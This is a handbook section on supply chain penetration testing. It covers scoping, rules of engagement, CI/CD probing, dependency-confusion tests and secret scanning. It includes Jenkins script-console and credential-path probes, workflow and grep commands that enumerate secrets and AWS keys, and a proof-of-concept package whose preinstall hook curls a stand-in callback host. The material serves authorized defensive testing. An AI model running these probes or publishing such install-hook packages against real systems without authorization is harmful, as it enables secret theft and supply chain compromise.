15.1 Supply Chain Penetration Testing¶

Traditional penetration testing focuses on finding vulnerabilities in applications and networks. But when Alex Birsan demonstrated dependency confusion attacks in 2021—successfully infiltrating Apple, Microsoft, and dozens of other companies by uploading malicious packages to public registries—he exposed an attack surface that most security assessments ignore entirely. Supply chain penetration testing specifically targets the systems, processes, and infrastructure through which software is built, packaged, and distributed. It requires different scoping, methodologies, and safety considerations than conventional application security testing.

This section defines how to scope and conduct penetration testing engagements focused on software supply chain attack vectors, including the unique safety considerations these tests require.

Scoping Supply Chain Penetration Tests¶

Supply chain penetration testing scope differs fundamentally from application testing.

Traditional vs. Supply Chain Scope:

Scope Definition Questions:

Before engagement, clarify:

1. What systems are in scope?
2. Source code repositories (GitHub, GitLab, Bitbucket)
3. CI/CD platforms (Jenkins, GitHub Actions, CircleCI)
4. Artifact repositories (Artifactory, Nexus, private registries)
5. Package publishing credentials
6. Signing infrastructure

7. Build servers and runners

8. What attack types are authorized?

9. Dependency confusion (internal/external)
10. Typosquatting (safe variants only)
11. Build system exploitation
12. Secret extraction

13. Repository compromise simulation

14. What are the boundaries?

15. Production systems vs. build infrastructure
16. Internal dependencies vs. public packages
17. Simulated attacks vs. actual exploitation

Scope Documentation Template:

# Supply Chain Penetration Test Scope

### Engagement ID: [ID]
### Duration: [Start] - [End]

### In-Scope Systems
- [ ] GitHub organization: [org-name]
- [ ] Jenkins instance: [url]
- [ ] Artifactory: [url]
- [ ] NPM organization: [scope]
- [ ] AWS CodeBuild projects: [list]

### In-Scope Attack Vectors
- [ ] Dependency confusion (internal packages only)
- [ ] CI/CD pipeline exploitation
- [ ] Secret exposure in repositories
- [ ] Build artifact tampering
- [ ] Repository permission escalation

### Explicitly Out of Scope
- [ ] Public package registry attacks (npm, PyPI public)
- [ ] Production database access
- [ ] Customer data systems
- [ ] Third-party vendor systems

### Authorized Test Accounts
- GitHub: [test-user]
- Jenkins: [test-user]
- Registry: [test-user]

### Emergency Contacts
- Primary: [name, phone, email]
- Secondary: [name, phone, email]

Difference from Traditional Application Penetration Testing¶

Supply chain pen testing requires different skills, tools, and mindset.

Unique Characteristics:

Required Knowledge:

Supply chain testers need expertise in:

• Package manager internals (npm, pip, Maven, etc.)
• CI/CD platform configurations
• Version control security models
• Artifact signing and verification
• Build system attack surfaces
• Dependency resolution algorithms

Expanded Attack Surface:

Traditional pen tests miss:

┌────────────────────────────────────────────────────────────────┐
│                    TRADITIONAL PEN TEST SCOPE                  │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │              Production Application                     │   │
│  │  (Web app, API, network, authentication)                │   │
│  └─────────────────────────────────────────────────────────┘   │
└────────────────────────────────────────────────────────────────┘

┌───────────────────────────────────────────────────────────────┐
│                 SUPPLY CHAIN PEN TEST SCOPE                   │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────────┐   │
│  │  Source  │→ │  Build   │→ │ Artifact │→ │  Deploy      │   │
│  │  Repos   │  │  Systems │  │  Repos   │  │  Pipeline    │   │
│  └──────────┘  └──────────┘  └──────────┘  └──────────────┘   │
│       ↑              ↑             ↑              ↑           │
│  Developer      CI/CD         Package        Production       │
│  Workstations   Secrets       Signing        Credentials      │
└───────────────────────────────────────────────────────────────┘

Traditional penetration tests often focus on application-layer vulnerabilities (XSS, SQL injection) while missing critical supply chain exposures—build servers with hardcoded credentials, unauthenticated private registries, and other infrastructure that attackers increasingly target. These systemic weaknesses often represent greater risk than individual code flaws.

Attack Methodology Frameworks¶

Structure supply chain pen tests around established attack frameworks.

SLSA-Based Assessment:

Use SLSA (Supply-chain Levels for Software Artifacts) as an assessment framework:

Kill Chain Approach:

Map supply chain attacks to a kill chain:

1. Reconnaissance: Identify build infrastructure, dependencies, registries
2. Weaponization: Create malicious package, payload
3. Delivery: Dependency confusion, typosquatting, PR injection
4. Exploitation: Execute during build, install, or runtime
5. Installation: Persist in artifacts, dependencies
6. Command & Control: Exfiltrate secrets, establish access
7. Actions on Objectives: Access production, steal data

MITRE ATT&CK for Containers/CI-CD:

Reference MITRE frameworks for structured testing:

• Initial Access: Compromised dependencies, malicious images
• Execution: Build script injection, post-install hooks
• Persistence: Backdoored dependencies, modified base images
• Credential Access: CI/CD secrets, registry tokens
• Lateral Movement: Shared runners, artifact access

Targeting Build Infrastructure¶

Build systems are high-value targets with often-weak security.

CI/CD Attack Vectors:

Jenkins Testing:

# Enumerate Jenkins access
curl -s https://jenkins.target.com/api/json | jq '.jobs[].name'

# Check for anonymous access
curl -s https://jenkins.target.com/credentials/

# Test script console access (if authenticated)
curl -X POST https://jenkins.target.com/script \
  --data-urlencode "script=println 'System.getenv()'"

GitHub Actions Testing:

# Test PR-triggered workflow execution
# Submit PR with workflow that extracts secrets

name: Test Workflow
on: [pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Extract environment
        run: |
          # Document accessible secrets (don't exfiltrate)
          env | grep -i secret | wc -l
          echo "Secrets accessible: $?"

Build Runner Isolation Testing:

# Test if runners share state
# First build:
echo "marker-$(date +%s)" > /tmp/shared-marker

# Second build (different job):
cat /tmp/shared-marker 2>/dev/null && echo "ISOLATION FAILURE"

Testing Dependency Confusion Vulnerabilities¶

Dependency confusion is a high-impact attack vector requiring careful testing.

Safe Testing Approach:

1. Inventory Internal Packages:

# Find internal package names from configuration
grep -r "@company/" package.json
grep -r "internal-" requirements.txt
grep -r "<groupId>com.company" pom.xml

# Check if names exist publicly
npm view @company/internal-auth 2>&1 | grep -q "404" && echo "Available"
pip index versions internal-utils 2>&1 | grep -q "No matching" && echo "Available"

2. Register Benign Proof-of-Concept:

// package.json for safe PoC package
{
  "name": "internal-package-name-poc",
  "version": "9999.0.0",  // Higher than internal
  "description": "Security test - contact security@company.com",
  "scripts": {
    "preinstall": "curl https://security-test.example.com/callback?pkg=$npm_package_name"
  }
}

Key safety measures: - Use callback to controlled server, not exfiltration - Include clear identification in package - Use obviously high version numbers - Document package as security test - Remove immediately after testing

3. Verify Resolution Behavior:

# Test which package would be installed
npm pack internal-package-name --dry-run
pip download internal-utils --no-deps -d /tmp/test

# Check package source
npm view internal-package-name dist.tarball

Dependency Confusion Test Checklist:

## Dependency Confusion Test

### Pre-Test
- [ ] Inventoried internal package names
- [ ] Verified test package is benign (callback only)
- [ ] Documented test in security team channel
- [ ] Registered PoC package with clear identification
- [ ] Set up callback monitoring

### Test Execution
- [ ] Triggered build in test environment
- [ ] Monitored for callback
- [ ] Documented resolution behavior
- [ ] Captured evidence

### Post-Test
- [ ] Removed PoC package from public registry
- [ ] Documented findings
- [ ] Reported to client

Credential and Secret Exposure Testing¶

Secrets exposed in repositories and builds are common, high-impact findings.

Repository Secret Scanning:

# Use truffleHog for historical scanning
trufflehog git https://github.com/target/repo --only-verified

# Use gitleaks for comprehensive scanning
gitleaks detect --source /path/to/repo --verbose

# Search for common secret patterns
grep -rE "(api[_-]?key|password|secret|token)\s*[:=]" .

CI/CD Secret Enumeration:

# GitHub Actions: Document accessible secrets
- name: Enumerate secrets
  run: |
    echo "Checking for common secret names..."
    # Test if secrets are set (without revealing)
    [ -n "$AWS_ACCESS_KEY_ID" ] && echo "AWS_ACCESS_KEY_ID: SET"
    [ -n "$NPM_TOKEN" ] && echo "NPM_TOKEN: SET"
    [ -n "$DOCKER_PASSWORD" ] && echo "DOCKER_PASSWORD: SET"

Build Log Analysis:

# Search build logs for leaked secrets
# Many CI systems accidentally log secrets

curl -s "https://ci.target.com/job/build/lastBuild/consoleText" | \
  grep -iE "(password|token|key|secret)" | \
  grep -vE "(Password:|SECRET_)" # Filter headers

Artifact Secret Analysis:

# Extract and analyze build artifacts
unzip -q build-artifact.zip -d /tmp/artifact
strings /tmp/artifact/* | grep -E "^[A-Za-z0-9+/]{40,}={0,2}$" # Base64
grep -r "AKIA" /tmp/artifact/  # AWS access keys

Secret Exposure Test Matrix:

Rules of Engagement and Safety Considerations¶

Supply chain pen tests carry unique risks requiring explicit rules.

Critical Safety Rules:

1. Never publish to production registries: Use private/test registries only
2. Never target actual dependencies: Test with clearly marked PoC packages
3. Never exfiltrate real secrets: Document existence, don't capture values
4. Always have rollback capability: Know how to undo any changes
5. Coordinate with operations: Prevent alert fatigue, ensure availability

Rules of Engagement Template:

## Rules of Engagement: Supply Chain Penetration Test

### Authorization
This document authorizes [Tester/Team] to conduct supply chain 
security testing against [Target Organization] systems from 
[Start Date] to [End Date].

### Authorized Activities
1. Enumerate package dependencies and build configurations
2. Attempt dependency confusion with benign PoC packages
3. Test CI/CD pipeline security controls
4. Scan repositories for exposed secrets
5. Attempt privilege escalation within build systems

### Prohibited Activities
1. Publishing packages to public registries (npm, PyPI, etc.)
2. Exfiltrating actual secrets or credentials
3. Modifying production systems or data
4. Denial of service against build infrastructure
5. Testing during change freeze periods
6. Social engineering of developers

### Safety Requirements
- All test packages must include "[SECURITY-TEST]" in name/description
- All callbacks must point to pre-approved test infrastructure
- Any discovered critical vulnerability must be reported within 1 hour
- Testing must stop immediately if production impact detected

### Communication
- Daily status: [channel/email]
- Emergency: [phone number]
- Findings: [secure channel]

### Signatures
Tester: _________________ Date: _______
Client: _________________ Date: _______

Ethical Considerations:

Supply chain attacks have outsized impact. Testers must:

• Understand blast radius: Build compromise affects all consumers
• Minimize harm: Use proof-of-concept, not weaponized payloads
• Clean up completely: Remove all test artifacts
• Report responsibly: Critical findings require immediate notification
• Consider downstream: Your test packages might be pulled by others

Dependency confusion testing carries real collateral risk: a "benign" test package uploaded to a public registry may be pulled by organizations outside the testing scope before it can be removed. This is why private registry testing is strongly preferred for this attack vector.

Incident Response Provisions:

Include provisions for when tests go wrong:

### Incident Provisions

If testing causes unintended impact:

1. STOP all testing activities immediately
2. NOTIFY emergency contact within 15 minutes
3. DOCUMENT timeline and actions taken
4. ASSIST with remediation as requested
5. PRESERVE evidence for post-incident review

Tester liability is limited to [terms] per Master Services Agreement.

Recommendations¶

For Penetration Testers:

1. Develop supply chain expertise. Traditional web app skills don't transfer directly. Learn package manager internals, CI/CD platforms, and build systems.

2. Create safe testing environments. Set up private registries and isolated build systems for testing. Never test against production registries.

3. Document everything. Supply chain tests touch many systems. Detailed documentation enables cleanup and supports findings.

For Security Managers:

1. Include supply chain in pen test scope. If your pen tests only cover running applications, you're missing major attack surface.

2. Define clear rules of engagement. Supply chain testing carries unique risks. Explicit authorization and boundaries prevent incidents.

3. Prepare for findings. Supply chain pen tests often reveal significant issues. Have remediation resources ready.

For Organizations:

1. Test your own supply chain. If you don't, attackers will. Regular supply chain pen tests reveal vulnerabilities before they're exploited.

2. Start with dependency confusion. It's the highest-impact, most common vulnerability. Test your internal package naming against public registries.

3. Secure build infrastructure like production. Treat CI/CD systems, signing keys, and artifact repositories as crown jewels. Test them accordingly.

Supply chain penetration testing reveals vulnerabilities that traditional security assessments miss entirely. The attack surface is different, the skills required are different, and the safety considerations are different. But the risks are real—as demonstrated by successful attacks against major technology companies. Organizations that test their supply chains find and fix vulnerabilities before adversaries exploit them.